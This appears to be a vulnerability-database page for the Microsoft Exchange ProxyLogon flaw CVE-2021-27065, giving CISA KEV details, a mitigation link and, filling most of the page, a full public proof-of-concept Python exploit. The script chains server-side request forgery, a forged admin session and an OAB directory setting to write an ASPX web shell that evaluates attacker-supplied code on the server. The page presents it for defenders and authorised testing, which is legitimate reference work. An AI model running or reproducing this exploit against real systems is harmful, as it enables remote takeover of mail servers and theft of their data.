CVE-2021-27065
unknown
KEV
CVSS v3
—
CVSS v4 NEW
—
VIR risk
2.5
Description
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution. This vulnerability is part of the ProxyLogon exploit chain.
CISA KEV
- Vendor
- Microsoft
- Product
- Exchange Server
- Due date
- 2022-05-03
Predictions
Exploit likelihood
99%
Patch ETA
—
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
{Vendor advisory: cisa-kev — Reference CISA's ED 21-02 (https://www.cisa.gov/news-events/directives/ed-21-02-mitigate-microsoft-exchange-premises-product-vulnerabilities) for further guidance and requirements. Note: The due date for addressing this vulnerability aligns with the requirements outlined in ED 21-02. https://nvd.nist.gov/vuln/detail/CVE-2021-27065}
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC)
# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)
# Date: 2021-03-10
# Exploit Author: testanull
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2013, 2016, 2019
# CVE: 2021-26855, 2021-27065
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
if len(sys.argv) < 2:
print("Usage: python PoC.py <target> <email>")
print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
""" % email
print("Attacking target " + target)
print("=============================")
print(legacyDnPatchByte.decode('hex'))
FQDN = "EXCHANGE"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
"User-Agent": user_agent},
verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
FQDN = ct.headers["X-FEServer"]
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent},
data=autoDiscoverBody,
verify=False
)
if ct.status_code != 200:
print("Autodiscover Error!")
exit()
if "<LegacyDN>" not in ct.content:
print("Can not get LegacyDN!")
exit()
legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("Got DN: " + legacyDn)
mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
"Content-Type": "application/mapi-http",
"User-Agent": user_agent
},
data=mapi_body,
verify=False
)
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
print("Mapi Error!")
exit()
sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]
print("Got SID: " + sid)
proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
"Content-Type": "text/xml",
"User-Agent": user_agent
},
data=proxyLogon_request,
verify=False
)
if ct.status_code != 241 or not "set-cookie" in ct.headers:
print("Proxylogon Error!")
exit()
sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, sess_id, msExchEcpCanary),
"User-Agent": user_agent
},
verify=False
)
if ct.status_code != 200:
print("Wrong canary!")
print("Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
# print "Got rbacRole: "+ rbacRole
print("=========== It means good to go!!!====")
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json={"filter": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
verify=False
)
if ct.status_code != 200:
print("GetOAB Error!")
exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)
oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"ExternalUrl": "http://ffff/#%s" % shell_content}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=oab_json,
verify=False
)
if ct.status_code != 200:
print("Set external url Error!")
exit()
reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
"properties": {
"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
"FilePathName": shell_absolute_path}}}
ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
"Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
"Content-Type": "application/json; charset=utf-8",
"User-Agent": user_agent
},
json=reset_oab_body,
verify=False
)
if ct.status_code != 200:
print("Write Shell Error!")
exit()
print("Successful!")Metasploit modules
Source fetch failed: fetch_error — view the original via the link above.
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.